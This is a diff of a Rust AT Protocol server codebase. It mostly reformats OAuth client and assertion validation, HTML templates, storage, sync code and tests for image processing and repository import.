256257 if metadata.client_id.is_empty() {
257258 metadata.client_id = client_id.to_string();
258259 } else if metadata.client_id != client_id {
···274275 self.validate_redirect_uri_format(uri)?;
275276 }
276277 if !metadata.grant_types.is_empty()
277277- && !metadata.grant_types.contains(&"authorization_code".to_string())
278278+ && !metadata
279279+ .grant_types
280280+ .contains(&"authorization_code".to_string())
278281 {
279282 return Err(OAuthError::InvalidClient(
280283 "authorization_code grant type is required".to_string(),
···298301 if metadata.redirect_uris.contains(&redirect_uri.to_string()) {
299302 return Ok(());
300303 }
301301- if Self::is_loopback_client(&metadata.client_id) {
302302- if let Ok(req_url) = reqwest::Url::parse(redirect_uri) {
304304+ if Self::is_loopback_client(&metadata.client_id)
305305+ && let Ok(req_url) = reqwest::Url::parse(redirect_uri) {
303306 let req_host = req_url.host_str().unwrap_or("");
304307 let is_loopback_redirect = req_url.scheme() == "http"
305308 && (req_host == "localhost" || req_host == "127.0.0.1" || req_host == "[::1]");
···319322 }
320323 }
321324 }
322322- }
323325 Err(OAuthError::InvalidRequest(
324326 "redirect_uri not registered for client".to_string(),
325327 ))
···331333 "redirect_uri must not contain a fragment".to_string(),
332334 ));
333335 }
334334- let parsed = reqwest::Url::parse(uri).map_err(|_| {
335335- OAuthError::InvalidClient(format!("Invalid redirect_uri: {}", uri))
336336- })?;
336336+ let parsed = reqwest::Url::parse(uri)
337337+ .map_err(|_| OAuthError::InvalidClient(format!("Invalid redirect_uri: {}", uri)))?;
337338 let scheme = parsed.scheme();
338339 if scheme == "http" {
339340 let host = parsed.host_str().unwrap_or("");
···343344 ));
344345 }
345346 } else if scheme == "https" {
346346- } else if scheme.chars().all(|c| c.is_ascii_lowercase() || c.is_ascii_digit() || c == '+' || c == '.' || c == '-') {
347347- if !scheme.chars().next().map(|c| c.is_ascii_lowercase()).unwrap_or(false) {
347347+ } else if scheme.chars().all(|c| {
348348+ c.is_ascii_lowercase() || c.is_ascii_digit() || c == '+' || c == '.' || c == '-'
349349+ }) {
350350+ if !scheme
351351+ .chars()
352352+ .next()
353353+ .map(|c| c.is_ascii_lowercase())
354354+ .unwrap_or(false)
355355+ {
348356 return Err(OAuthError::InvalidClient(format!(
349357 "Invalid redirect_uri scheme: {}",
350358 scheme
···366374 }
367375368376 pub fn auth_method(&self) -> &str {
369369- self.token_endpoint_auth_method
370370- .as_deref()
371371- .unwrap_or("none")
377377+ self.token_endpoint_auth_method.as_deref().unwrap_or("none")
372378 }
373379}
374380···411417 metadata: &ClientMetadata,
412418 client_assertion: &str,
413419) -> Result<(), OAuthError> {
414414- use base64::{Engine as _, engine::general_purpose::{URL_SAFE_NO_PAD, STANDARD}};
420420+ use base64::{
421421+ Engine as _,
422422+ engine::general_purpose::{STANDARD, URL_SAFE_NO_PAD},
423423+ };
415424 let parts: Vec<&str> = client_assertion.split('.').collect();
416425 if parts.len() != 3 {
417417- return Err(OAuthError::InvalidClient("Invalid client_assertion format".to_string()));
426426+ return Err(OAuthError::InvalidClient(
427427+ "Invalid client_assertion format".to_string(),
428428+ ));
418429 }
419430 let header_bytes = URL_SAFE_NO_PAD
420431 .decode(parts[0])
···422433 .map_err(|_| OAuthError::InvalidClient("Invalid assertion header encoding".to_string()))?;
423434 let header: serde_json::Value = serde_json::from_slice(&header_bytes)
424435 .map_err(|_| OAuthError::InvalidClient("Invalid assertion header JSON".to_string()))?;
425425- let alg = header.get("alg").and_then(|a| a.as_str()).ok_or_else(|| {
426426- OAuthError::InvalidClient("Missing alg in client_assertion".to_string())
427427- })?;
428428- if !matches!(alg, "ES256" | "ES384" | "RS256" | "RS384" | "RS512" | "EdDSA") {
436436+ let alg = header
437437+ .get("alg")
438438+ .and_then(|a| a.as_str())
439439+ .ok_or_else(|| OAuthError::InvalidClient("Missing alg in client_assertion".to_string()))?;
440440+ if !matches!(
441441+ alg,
442442+ "ES256" | "ES384" | "RS256" | "RS384" | "RS512" | "EdDSA"
443443+ ) {
429444 return Err(OAuthError::InvalidClient(format!(
430445 "Unsupported client_assertion algorithm: {}",
431446 alg
···441456 })?;
442457 let payload: serde_json::Value = serde_json::from_slice(&payload_bytes)
443458 .map_err(|_| OAuthError::InvalidClient("Invalid assertion payload JSON".to_string()))?;
444444- let iss = payload.get("iss").and_then(|i| i.as_str()).ok_or_else(|| {
445445- OAuthError::InvalidClient("Missing iss in client_assertion".to_string())
446446- })?;
459459+ let iss = payload
460460+ .get("iss")
461461+ .and_then(|i| i.as_str())
462462+ .ok_or_else(|| OAuthError::InvalidClient("Missing iss in client_assertion".to_string()))?;
447463 if iss != metadata.client_id {
448464 return Err(OAuthError::InvalidClient(
449465 "client_assertion iss does not match client_id".to_string(),
450466 ));
451467 }
452452- let sub = payload.get("sub").and_then(|s| s.as_str()).ok_or_else(|| {
453453- OAuthError::InvalidClient("Missing sub in client_assertion".to_string())
454454- })?;
468468+ let sub = payload
469469+ .get("sub")
470470+ .and_then(|s| s.as_str())
471471+ .ok_or_else(|| OAuthError::InvalidClient("Missing sub in client_assertion".to_string()))?;
455472 if sub != metadata.client_id {
456473 return Err(OAuthError::InvalidClient(
457474 "client_assertion sub does not match client_id".to_string(),
···462479 let iat = payload.get("iat").and_then(|i| i.as_i64());
463480 if let Some(exp) = exp {
464481 if exp < now {
465465- return Err(OAuthError::InvalidClient("client_assertion has expired".to_string()));
482482+ return Err(OAuthError::InvalidClient(
483483+ "client_assertion has expired".to_string(),
484484+ ));
466485 }
467486 } else if let Some(iat) = iat {
468487 let max_age_secs = 300;
469488 if now - iat > max_age_secs {
470470- tracing::warn!(iat = iat, now = now, "client_assertion too old (no exp, using iat)");
471471- return Err(OAuthError::InvalidClient("client_assertion is too old".to_string()));
489489+ tracing::warn!(
490490+ iat = iat,
491491+ now = now,
492492+ "client_assertion too old (no exp, using iat)"
493493+ );
494494+ return Err(OAuthError::InvalidClient(
495495+ "client_assertion is too old".to_string(),
496496+ ));
472497 }
473498 } else {
474499 return Err(OAuthError::InvalidClient(
475500 "client_assertion must have exp or iat claim".to_string(),
476501 ));
477502 }
478478- if let Some(iat) = iat {
479479- if iat > now + 60 {
503503+ if let Some(iat) = iat
504504+ && iat > now + 60 {
480505 return Err(OAuthError::InvalidClient(
481506 "client_assertion iat is in the future".to_string(),
482507 ));
483508 }
484484- }
485509 let jwks = cache.get_jwks(metadata).await?;
486486- let keys = jwks.get("keys").and_then(|k| k.as_array()).ok_or_else(|| {
487487- OAuthError::InvalidClient("Invalid JWKS: missing keys array".to_string())
488488- })?;
510510+ let keys = jwks
511511+ .get("keys")
512512+ .and_then(|k| k.as_array())
513513+ .ok_or_else(|| OAuthError::InvalidClient("Invalid JWKS: missing keys array".to_string()))?;
489514 let matching_keys: Vec<&serde_json::Value> = if let Some(kid) = kid {
490515 keys.iter()
491516 .filter(|k| k.get("kid").and_then(|v| v.as_str()) == Some(kid))
···532557 signature: &[u8],
533558) -> Result<(), OAuthError> {
534559 use base64::{Engine as _, engine::general_purpose::URL_SAFE_NO_PAD};
535535- use p256::ecdsa::{Signature, VerifyingKey, signature::Verifier};
536560 use p256::EncodedPoint;
537537- let x = key.get("x").and_then(|v| v.as_str()).ok_or_else(|| {
538538- OAuthError::InvalidClient("Missing x coordinate in EC key".to_string())
539539- })?;
540540- let y = key.get("y").and_then(|v| v.as_str()).ok_or_else(|| {
541541- OAuthError::InvalidClient("Missing y coordinate in EC key".to_string())
542542- })?;
543543- let x_bytes = URL_SAFE_NO_PAD.decode(x)
561561+ use p256::ecdsa::{Signature, VerifyingKey, signature::Verifier};
562562+ let x = key
563563+ .get("x")
564564+ .and_then(|v| v.as_str())
565565+ .ok_or_else(|| OAuthError::InvalidClient("Missing x coordinate in EC key".to_string()))?;
566566+ let y = key
567567+ .get("y")
568568+ .and_then(|v| v.as_str())
569569+ .ok_or_else(|| OAuthError::InvalidClient("Missing y coordinate in EC key".to_string()))?;
570570+ let x_bytes = URL_SAFE_NO_PAD
571571+ .decode(x)
544572 .map_err(|_| OAuthError::InvalidClient("Invalid x coordinate encoding".to_string()))?;
545545- let y_bytes = URL_SAFE_NO_PAD.decode(y)
573573+ let y_bytes = URL_SAFE_NO_PAD
574574+ .decode(y)
546575 .map_err(|_| OAuthError::InvalidClient("Invalid y coordinate encoding".to_string()))?;
547576 let mut point_bytes = vec![0x04];
548577 point_bytes.extend_from_slice(&x_bytes);
···564593 signature: &[u8],
565594) -> Result<(), OAuthError> {
566595 use base64::{Engine as _, engine::general_purpose::URL_SAFE_NO_PAD};
596596+ use p384::EncodedPoint;
567597 use p384::ecdsa::{Signature, VerifyingKey, signature::Verifier};
568568- use p384::EncodedPoint;
569569- let x = key.get("x").and_then(|v| v.as_str()).ok_or_else(|| {
570570- OAuthError::InvalidClient("Missing x coordinate in EC key".to_string())
571571- })?;
572572- let y = key.get("y").and_then(|v| v.as_str()).ok_or_else(|| {
573573- OAuthError::InvalidClient("Missing y coordinate in EC key".to_string())
574574- })?;
575575- let x_bytes = URL_SAFE_NO_PAD.decode(x)
598598+ let x = key
599599+ .get("x")
600600+ .and_then(|v| v.as_str())
601601+ .ok_or_else(|| OAuthError::InvalidClient("Missing x coordinate in EC key".to_string()))?;
602602+ let y = key
603603+ .get("y")
604604+ .and_then(|v| v.as_str())
605605+ .ok_or_else(|| OAuthError::InvalidClient("Missing y coordinate in EC key".to_string()))?;
606606+ let x_bytes = URL_SAFE_NO_PAD
607607+ .decode(x)
576608 .map_err(|_| OAuthError::InvalidClient("Invalid x coordinate encoding".to_string()))?;
577577- let y_bytes = URL_SAFE_NO_PAD.decode(y)
609609+ let y_bytes = URL_SAFE_NO_PAD
610610+ .decode(y)
578611 .map_err(|_| OAuthError::InvalidClient("Invalid y coordinate encoding".to_string()))?;
579612 let mut point_bytes = vec![0x04];
580613 point_bytes.extend_from_slice(&x_bytes);
···615648 crv
616649 )));
617650 }
618618- let x = key.get("x").and_then(|v| v.as_str()).ok_or_else(|| {
619619- OAuthError::InvalidClient("Missing x in OKP key".to_string())
620620- })?;
621621- let x_bytes = URL_SAFE_NO_PAD.decode(x)
651651+ let x = key
652652+ .get("x")
653653+ .and_then(|v| v.as_str())
654654+ .ok_or_else(|| OAuthError::InvalidClient("Missing x in OKP key".to_string()))?;
655655+ let x_bytes = URL_SAFE_NO_PAD
656656+ .decode(x)
622657 .map_err(|_| OAuthError::InvalidClient("Invalid x encoding".to_string()))?;
623623- let key_bytes: [u8; 32] = x_bytes.try_into()
658658+ let key_bytes: [u8; 32] = x_bytes
659659+ .try_into()
624660 .map_err(|_| OAuthError::InvalidClient("Invalid Ed25519 key length".to_string()))?;
625661 let verifying_key = VerifyingKey::from_bytes(&key_bytes)
626662 .map_err(|_| OAuthError::InvalidClient("Invalid Ed25519 key".to_string()))?;
627627- let sig_bytes: [u8; 64] = signature.try_into()
663663+ let sig_bytes: [u8; 64] = signature
664664+ .try_into()
628665 .map_err(|_| OAuthError::InvalidClient("Invalid EdDSA signature length".to_string()))?;
629666 let sig = Signature::from_bytes(&sig_bytes);
630667 verifying_key
···11+pub mod authorize;
12pub mod metadata;
23pub mod par;
33-pub mod authorize;
44pub mod token;
5566+pub use authorize::*;
67pub use metadata::*;
78pub use par::*;
88-pub use authorize::*;
99pub use token::*;
···11-pub mod types;
11+pub mod client;
22pub mod db;
33pub mod dpop;
44-pub mod jwks;
55-pub mod client;
64pub mod endpoints;
75pub mod error;
66+pub mod jwks;
87pub mod templates;
88+pub mod types;
99pub mod verify;
10101111-pub use types::*;
1211pub use error::OAuthError;
1313-pub use verify::{verify_oauth_access_token, generate_dpop_nonce, VerifyResult, OAuthUser, OAuthAuthError};
1412pub use templates::{DeviceAccount, mask_email};
1313+pub use types::*;
1414+pub use verify::{
1515+ OAuthAuthError, OAuthUser, VerifyResult, generate_dpop_nonce, verify_oauth_access_token,
1616+};
+21-10
src/oauth/templates.rs
···487487 )
488488}
489489490490-pub fn two_factor_page(
491491- request_uri: &str,
492492- channel: &str,
493493- error_message: Option<&str>,
494494-) -> String {
490490+pub fn two_factor_page(request_uri: &str, channel: &str, error_message: Option<&str>) -> String {
495491 let error_html = error_message
496492 .map(|msg| format!(r#"<div class="error-banner">{}</div>"#, html_escape(msg)))
497493 .unwrap_or_default();
498494 let (title, subtitle) = match channel {
499499- "email" => ("Check your email", "We sent a verification code to your email"),
500500- "Discord" => ("Check Discord", "We sent a verification code to your Discord"),
501501- "Telegram" => ("Check Telegram", "We sent a verification code to your Telegram"),
495495+ "email" => (
496496+ "Check your email",
497497+ "We sent a verification code to your email",
498498+ ),
499499+ "Discord" => (
500500+ "Check Discord",
501501+ "We sent a verification code to your Discord",
502502+ ),
503503+ "Telegram" => (
504504+ "Check Telegram",
505505+ "We sent a verification code to your Telegram",
506506+ ),
502507 "Signal" => ("Check Signal", "We sent a verification code to your Signal"),
503508 _ => ("Check your messages", "We sent you a verification code"),
504509 };
···546551}
547552548553pub fn error_page(error: &str, error_description: Option<&str>) -> String {
549549- let description = error_description.unwrap_or("An error occurred during the authorization process.");
554554+ let description =
555555+ error_description.unwrap_or("An error occurred during the authorization process.");
550556 format!(
551557 r#"<!DOCTYPE html>
552558<html lang="en">
···618624 if clean.is_empty() {
619625 return "?".to_string();
620626 }
621621- clean.chars().next().unwrap_or('?').to_uppercase().to_string()
627627+ clean
628628+ .chars()
629629+ .next()
630630+ .unwrap_or('?')
631631+ .to_uppercase()
632632+ .to_string()
622633}
623634624635pub fn mask_email(email: &str) -> String {
···117117 let limiter_name = kind.key_prefix();
118118 let (limit, window_ms) = kind.limit_and_window_ms();
119119120120- if !self.distributed_rate_limiter.check_rate_limit(&key, limit, window_ms).await {
120120+ if !self
121121+ .distributed_rate_limiter
122122+ .check_rate_limit(&key, limit, window_ms)
123123+ .await
124124+ {
121125 crate::metrics::record_rate_limit_rejection(limiter_name);
122126 return false;
123127 }
+4-2
src/storage/mod.rs
···6262 }
63636464 async fn put_bytes(&self, key: &str, data: Bytes) -> Result<(), StorageError> {
6565- let result = self.client
6565+ let result = self
6666+ .client
6667 .put_object()
6768 .bucket(&self.bucket)
6869 .key(key)
···112113 }
113114114115 async fn delete(&self, key: &str) -> Result<(), StorageError> {
115115- let result = self.client
116116+ let result = self
117117+ .client
116118 .delete_object()
117119 .bucket(&self.bucket)
118120 .key(key)
+9-13
src/sync/blob.rs
···5858 }
5959 Ok(Some(_)) => {}
6060 }
6161- let blob_result = sqlx::query!("SELECT storage_key, mime_type FROM blobs WHERE cid = $1", cid)
6262- .fetch_optional(&state.db)
6363- .await;
6161+ let blob_result = sqlx::query!(
6262+ "SELECT storage_key, mime_type FROM blobs WHERE cid = $1",
6363+ cid
6464+ )
6565+ .fetch_optional(&state.db)
6666+ .await;
6467 match blob_result {
6568 Ok(Some(row)) => {
6669 let storage_key = &row.storage_key;
6770 let mime_type = &row.mime_type;
6868- match state.blob_store.get(&storage_key).await {
7171+ match state.blob_store.get(storage_key).await {
6972 Ok(data) => Response::builder()
7073 .status(StatusCode::OK)
7174 .header(header::CONTENT_TYPE, mime_type)
···184187 match cids_result {
185188 Ok(cids) => {
186189 let has_more = cids.len() as i64 > limit;
187187- let cids: Vec<String> = cids
188188- .into_iter()
189189- .take(limit as usize)
190190- .collect();
191191- let next_cursor = if has_more {
192192- cids.last().cloned()
193193- } else {
194194- None
195195- };
190190+ let cids: Vec<String> = cids.into_iter().take(limit as usize).collect();
191191+ let next_cursor = if has_more { cids.last().cloned() } else { None };
196192 (
197193 StatusCode::OK,
198194 Json(ListBlobsOutput {
+4-2
src/sync/car.rs
···2424}
25252626pub fn encode_car_header(root_cid: &Cid) -> Result<Vec<u8>, String> {
2727- let header = CarHeader::new_v1(vec![root_cid.clone()]);
2828- let header_cbor = header.encode().map_err(|e| format!("Failed to encode CAR header: {:?}", e))?;
2727+ let header = CarHeader::new_v1(vec![*root_cid]);
2828+ let header_cbor = header
2929+ .encode()
3030+ .map_err(|e| format!("Failed to encode CAR header: {:?}", e))?;
2931 let mut result = Vec::new();
3032 write_varint(&mut result, header_cbor.len() as u64)
3133 .expect("Writing to Vec<u8> should never fail");
+4-2
src/sync/commit.rs
···5656 .await;
5757 match result {
5858 Ok(Some(row)) => {
5959- let rev = get_rev_from_commit(&state, &row.repo_root_cid).await
5959+ let rev = get_rev_from_commit(&state, &row.repo_root_cid)
6060+ .await
6061 .unwrap_or_else(|| chrono::Utc::now().timestamp_millis().to_string());
6162 (
6263 StatusCode::OK,
···129130 let has_more = rows.len() as i64 > limit;
130131 let mut repos: Vec<RepoInfo> = Vec::new();
131132 for row in rows.iter().take(limit as usize) {
132132- let rev = get_rev_from_commit(&state, &row.repo_root_cid).await
133133+ let rev = get_rev_from_commit(&state, &row.repo_root_cid)
134134+ .await
133135 .unwrap_or_else(|| chrono::Utc::now().timestamp_millis().to_string());
134136 repos.push(RepoInfo {
135137 did: row.did.clone(),
+11-3
src/sync/deprecated.rs
···5151 .fetch_optional(&state.db)
5252 .await;
5353 match result {
5454- Ok(Some(row)) => (StatusCode::OK, Json(GetHeadOutput { root: row.repo_root_cid })).into_response(),
5454+ Ok(Some(row)) => (
5555+ StatusCode::OK,
5656+ Json(GetHeadOutput {
5757+ root: row.repo_root_cid,
5858+ }),
5959+ )
6060+ .into_response(),
5561 Ok(None) => (
5662 StatusCode::BAD_REQUEST,
5763 Json(json!({"error": "HeadNotFound", "message": "Could not find root for DID"})),
···157163 let mut writer = Vec::new();
158164 crate::sync::car::write_varint(&mut writer, total_len as u64)
159165 .expect("Writing to Vec<u8> should never fail");
160160- writer.write_all(&cid_bytes)
166166+ writer
167167+ .write_all(&cid_bytes)
161168 .expect("Writing to Vec<u8> should never fail");
162162- writer.write_all(&block)
169169+ writer
170170+ .write_all(&block)
163171 .expect("Writing to Vec<u8> should never fail");
164172 car_bytes.extend_from_slice(&writer);
165173 if let Ok(value) = serde_ipld_dagcbor::from_slice::<Ipld>(&block) {
···11mod common;
2233use reqwest::StatusCode;
44-use serde_json::{json, Value};
44+use serde_json::{Value, json};
55use sqlx::PgPool;
6677async fn get_pool() -> PgPool {
···4646 .await
4747 .expect("Notification not found");
4848 assert_eq!(notification.subject.as_deref(), Some("Test Admin Email"));
4949- assert!(notification.body.contains("Hello, this is a test email from the admin."));
4949+ assert!(
5050+ notification
5151+ .body
5252+ .contains("Hello, this is a test email from the admin.")
5353+ );
5054}
51555256#[tokio::test]
···11-use bspds::image::{ImageProcessor, ImageError, OutputFormat, THUMB_SIZE_FEED, THUMB_SIZE_FULL, DEFAULT_MAX_FILE_SIZE};
11+use bspds::image::{
22+ DEFAULT_MAX_FILE_SIZE, ImageError, ImageProcessor, OutputFormat, THUMB_SIZE_FEED,
33+ THUMB_SIZE_FULL,
44+};
25use image::{DynamicImage, ImageFormat};
36use std::io::Cursor;
4758fn create_test_png(width: u32, height: u32) -> Vec<u8> {
69 let img = DynamicImage::new_rgb8(width, height);
710 let mut buf = Vec::new();
88- img.write_to(&mut Cursor::new(&mut buf), ImageFormat::Png).unwrap();
1111+ img.write_to(&mut Cursor::new(&mut buf), ImageFormat::Png)
1212+ .unwrap();
913 buf
1014}
11151216fn create_test_jpeg(width: u32, height: u32) -> Vec<u8> {
1317 let img = DynamicImage::new_rgb8(width, height);
1418 let mut buf = Vec::new();
1515- img.write_to(&mut Cursor::new(&mut buf), ImageFormat::Jpeg).unwrap();
1919+ img.write_to(&mut Cursor::new(&mut buf), ImageFormat::Jpeg)
2020+ .unwrap();
1621 buf
1722}
18231924fn create_test_gif(width: u32, height: u32) -> Vec<u8> {
2025 let img = DynamicImage::new_rgb8(width, height);
2126 let mut buf = Vec::new();
2222- img.write_to(&mut Cursor::new(&mut buf), ImageFormat::Gif).unwrap();
2727+ img.write_to(&mut Cursor::new(&mut buf), ImageFormat::Gif)
2828+ .unwrap();
2329 buf
2430}
25312632fn create_test_webp(width: u32, height: u32) -> Vec<u8> {
2733 let img = DynamicImage::new_rgb8(width, height);
2834 let mut buf = Vec::new();
2929- img.write_to(&mut Cursor::new(&mut buf), ImageFormat::WebP).unwrap();
3535+ img.write_to(&mut Cursor::new(&mut buf), ImageFormat::WebP)
3636+ .unwrap();
3037 buf
3138}
3239···7178 let processor = ImageProcessor::new();
7279 let data = create_test_png(800, 600);
7380 let result = processor.process(&data, "image/png").unwrap();
7474- let thumb = result.thumbnail_feed.expect("Should generate feed thumbnail for large image");
8181+ let thumb = result
8282+ .thumbnail_feed
8383+ .expect("Should generate feed thumbnail for large image");
7584 assert!(thumb.width <= THUMB_SIZE_FEED);
7685 assert!(thumb.height <= THUMB_SIZE_FEED);
7786}
···8190 let processor = ImageProcessor::new();
8291 let data = create_test_png(2000, 1500);
8392 let result = processor.process(&data, "image/png").unwrap();
8484- let thumb = result.thumbnail_full.expect("Should generate full thumbnail for large image");
9393+ let thumb = result
9494+ .thumbnail_full
9595+ .expect("Should generate full thumbnail for large image");
8596 assert!(thumb.width <= THUMB_SIZE_FULL);
8697 assert!(thumb.height <= THUMB_SIZE_FULL);
8798}
···91102 let processor = ImageProcessor::new();
92103 let data = create_test_png(100, 100);
93104 let result = processor.process(&data, "image/png").unwrap();
9494- assert!(result.thumbnail_feed.is_none(), "Small image should not get feed thumbnail");
9595- assert!(result.thumbnail_full.is_none(), "Small image should not get full thumbnail");
105105+ assert!(
106106+ result.thumbnail_feed.is_none(),
107107+ "Small image should not get feed thumbnail"
108108+ );
109109+ assert!(
110110+ result.thumbnail_full.is_none(),
111111+ "Small image should not get full thumbnail"
112112+ );
96113}
9711498115#[test]
···125142 let data = create_test_png(2000, 2000);
126143 let result = processor.process(&data, "image/png");
127144 assert!(matches!(result, Err(ImageError::TooLarge { .. })));
128128- if let Err(ImageError::TooLarge { width, height, max_dimension }) = result {
145145+ if let Err(ImageError::TooLarge {
146146+ width,
147147+ height,
148148+ max_dimension,
149149+ }) = result
150150+ {
129151 assert_eq!(width, 2000);
130152 assert_eq!(height, 2000);
131153 assert_eq!(max_dimension, 1000);
···173195 let thumb = result.thumbnail_full.expect("Should have thumbnail");
174196 let original_ratio = 1600.0 / 800.0;
175197 let thumb_ratio = thumb.width as f64 / thumb.height as f64;
176176- assert!((original_ratio - thumb_ratio).abs() < 0.1, "Aspect ratio should be preserved");
198198+ assert!(
199199+ (original_ratio - thumb_ratio).abs() < 0.1,
200200+ "Aspect ratio should be preserved"
201201+ );
177202}
178203179204#[test]
···184209 let thumb = result.thumbnail_full.expect("Should have thumbnail");
185210 let original_ratio = 800.0 / 1600.0;
186211 let thumb_ratio = thumb.width as f64 / thumb.height as f64;
187187- assert!((original_ratio - thumb_ratio).abs() < 0.1, "Aspect ratio should be preserved");
212212+ assert!(
213213+ (original_ratio - thumb_ratio).abs() < 0.1,
214214+ "Aspect ratio should be preserved"
215215+ );
188216}
189217190218#[test]
···224252 let processor = ImageProcessor::new().with_thumbnails(false);
225253 let data = create_test_png(2000, 2000);
226254 let result = processor.process(&data, "image/png").unwrap();
227227- assert!(result.thumbnail_feed.is_none(), "Thumbnails should be disabled");
228228- assert!(result.thumbnail_full.is_none(), "Thumbnails should be disabled");
255255+ assert!(
256256+ result.thumbnail_feed.is_none(),
257257+ "Thumbnails should be disabled"
258258+ );
259259+ assert!(
260260+ result.thumbnail_full.is_none(),
261261+ "Thumbnails should be disabled"
262262+ );
229263}
230264231265#[test]
···256290 let processor = ImageProcessor::new();
257291 let data = create_test_png(500, 500);
258292 let result = processor.process(&data, "image/png").unwrap();
259259- assert!(result.thumbnail_feed.is_some(), "Should have feed thumbnail");
260260- assert!(result.thumbnail_full.is_none(), "Should NOT have full thumbnail for 500px image");
293293+ assert!(
294294+ result.thumbnail_feed.is_some(),
295295+ "Should have feed thumbnail"
296296+ );
297297+ assert!(
298298+ result.thumbnail_full.is_none(),
299299+ "Should NOT have full thumbnail for 500px image"
300300+ );
261301}
262302263303#[test]
···265305 let processor = ImageProcessor::new();
266306 let data = create_test_png(2000, 2000);
267307 let result = processor.process(&data, "image/png").unwrap();
268268- assert!(result.thumbnail_feed.is_some(), "Should have feed thumbnail");
269269- assert!(result.thumbnail_full.is_some(), "Should have full thumbnail for 2000px image");
308308+ assert!(
309309+ result.thumbnail_feed.is_some(),
310310+ "Should have feed thumbnail"
311311+ );
312312+ assert!(
313313+ result.thumbnail_full.is_some(),
314314+ "Should have full thumbnail for 2000px image"
315315+ );
270316}
271317272318#[test]
···274320 let processor = ImageProcessor::new();
275321 let at_threshold = create_test_png(THUMB_SIZE_FEED, THUMB_SIZE_FEED);
276322 let result = processor.process(&at_threshold, "image/png").unwrap();
277277- assert!(result.thumbnail_feed.is_none(), "Exact threshold should not generate thumbnail");
323323+ assert!(
324324+ result.thumbnail_feed.is_none(),
325325+ "Exact threshold should not generate thumbnail"
326326+ );
278327 let above_threshold = create_test_png(THUMB_SIZE_FEED + 1, THUMB_SIZE_FEED + 1);
279328 let result = processor.process(&above_threshold, "image/png").unwrap();
280280- assert!(result.thumbnail_feed.is_some(), "Above threshold should generate thumbnail");
329329+ assert!(
330330+ result.thumbnail_feed.is_some(),
331331+ "Above threshold should generate thumbnail"
332332+ );
281333}
282334283335#[test]
···285337 let processor = ImageProcessor::new();
286338 let at_threshold = create_test_png(THUMB_SIZE_FULL, THUMB_SIZE_FULL);
287339 let result = processor.process(&at_threshold, "image/png").unwrap();
288288- assert!(result.thumbnail_full.is_none(), "Exact threshold should not generate thumbnail");
340340+ assert!(
341341+ result.thumbnail_full.is_none(),
342342+ "Exact threshold should not generate thumbnail"
343343+ );
289344 let above_threshold = create_test_png(THUMB_SIZE_FULL + 1, THUMB_SIZE_FULL + 1);
290345 let result = processor.process(&above_threshold, "image/png").unwrap();
291291- assert!(result.thumbnail_full.is_some(), "Above threshold should generate thumbnail");
346346+ assert!(
347347+ result.thumbnail_full.is_some(),
348348+ "Above threshold should generate thumbnail"
349349+ );
292350}
+57-18
tests/import_verification.rs
···88async fn test_import_repo_requires_auth() {
99 let client = client();
1010 let res = client
1111- .post(format!("{}/xrpc/com.atproto.repo.importRepo", base_url().await))
1111+ .post(format!(
1212+ "{}/xrpc/com.atproto.repo.importRepo",
1313+ base_url().await
1414+ ))
1215 .header("Content-Type", "application/vnd.ipld.car")
1316 .body(vec![0u8; 100])
1417 .send()
···2225 let client = client();
2326 let (token, _did) = create_account_and_login(&client).await;
2427 let res = client
2525- .post(format!("{}/xrpc/com.atproto.repo.importRepo", base_url().await))
2828+ .post(format!(
2929+ "{}/xrpc/com.atproto.repo.importRepo",
3030+ base_url().await
3131+ ))
2632 .bearer_auth(&token)
2733 .header("Content-Type", "application/vnd.ipld.car")
2834 .body(vec![0u8; 100])
···3945 let client = client();
4046 let (token, _did) = create_account_and_login(&client).await;
4147 let res = client
4242- .post(format!("{}/xrpc/com.atproto.repo.importRepo", base_url().await))
4848+ .post(format!(
4949+ "{}/xrpc/com.atproto.repo.importRepo",
5050+ base_url().await
5151+ ))
4352 .bearer_auth(&token)
4453 .header("Content-Type", "application/vnd.ipld.car")
4554 .body(vec![])
···8089 assert_eq!(export_res.status(), StatusCode::OK);
8190 let car_bytes = export_res.bytes().await.unwrap();
8291 let import_res = client
8383- .post(format!("{}/xrpc/com.atproto.repo.importRepo", base_url().await))
9292+ .post(format!(
9393+ "{}/xrpc/com.atproto.repo.importRepo",
9494+ base_url().await
9595+ ))
8496 .bearer_auth(&token_a)
8597 .header("Content-Type", "application/vnd.ipld.car")
8698 .body(car_bytes.to_vec())
···132144 assert_eq!(export_res.status(), StatusCode::OK);
133145 let car_bytes = export_res.bytes().await.unwrap();
134146 let import_res = client
135135- .post(format!("{}/xrpc/com.atproto.repo.importRepo", base_url().await))
147147+ .post(format!(
148148+ "{}/xrpc/com.atproto.repo.importRepo",
149149+ base_url().await
150150+ ))
136151 .bearer_auth(&token)
137152 .header("Content-Type", "application/vnd.ipld.car")
138153 .body(car_bytes.to_vec())
···148163 let (token, _did) = create_account_and_login(&client).await;
149164 let oversized_body = vec![0u8; 110 * 1024 * 1024];
150165 let res = client
151151- .post(format!("{}/xrpc/com.atproto.repo.importRepo", base_url().await))
166166+ .post(format!(
167167+ "{}/xrpc/com.atproto.repo.importRepo",
168168+ base_url().await
169169+ ))
152170 .bearer_auth(&token)
153171 .header("Content-Type", "application/vnd.ipld.car")
154172 .body(oversized_body)
···161179 Err(e) => {
162180 let error_str = e.to_string().to_lowercase();
163181 assert!(
164164- error_str.contains("broken pipe") ||
165165- error_str.contains("connection") ||
166166- error_str.contains("reset") ||
167167- error_str.contains("request") ||
168168- error_str.contains("body"),
182182+ error_str.contains("broken pipe")
183183+ || error_str.contains("connection")
184184+ || error_str.contains("reset")
185185+ || error_str.contains("request")
186186+ || error_str.contains("body"),
169187 "Expected connection error or PAYLOAD_TOO_LARGE, got: {}",
170188 e
171189 );
···200218 .expect("Deactivate failed");
201219 assert!(deactivate_res.status().is_success());
202220 let import_res = client
203203- .post(format!("{}/xrpc/com.atproto.repo.importRepo", base_url().await))
221221+ .post(format!(
222222+ "{}/xrpc/com.atproto.repo.importRepo",
223223+ base_url().await
224224+ ))
204225 .bearer_auth(&token)
205226 .header("Content-Type", "application/vnd.ipld.car")
206227 .body(car_bytes.to_vec())
···208229 .await
209230 .expect("Import failed");
210231 assert!(
211211- import_res.status() == StatusCode::FORBIDDEN || import_res.status() == StatusCode::UNAUTHORIZED,
232232+ import_res.status() == StatusCode::FORBIDDEN
233233+ || import_res.status() == StatusCode::UNAUTHORIZED,
212234 "Expected FORBIDDEN (403) or UNAUTHORIZED (401), got {}",
213235 import_res.status()
214236 );
···220242 let (token, _did) = create_account_and_login(&client).await;
221243 let invalid_car = vec![0x0a, 0xa1, 0x65, 0x72, 0x6f, 0x6f, 0x74, 0x73, 0x80];
222244 let res = client
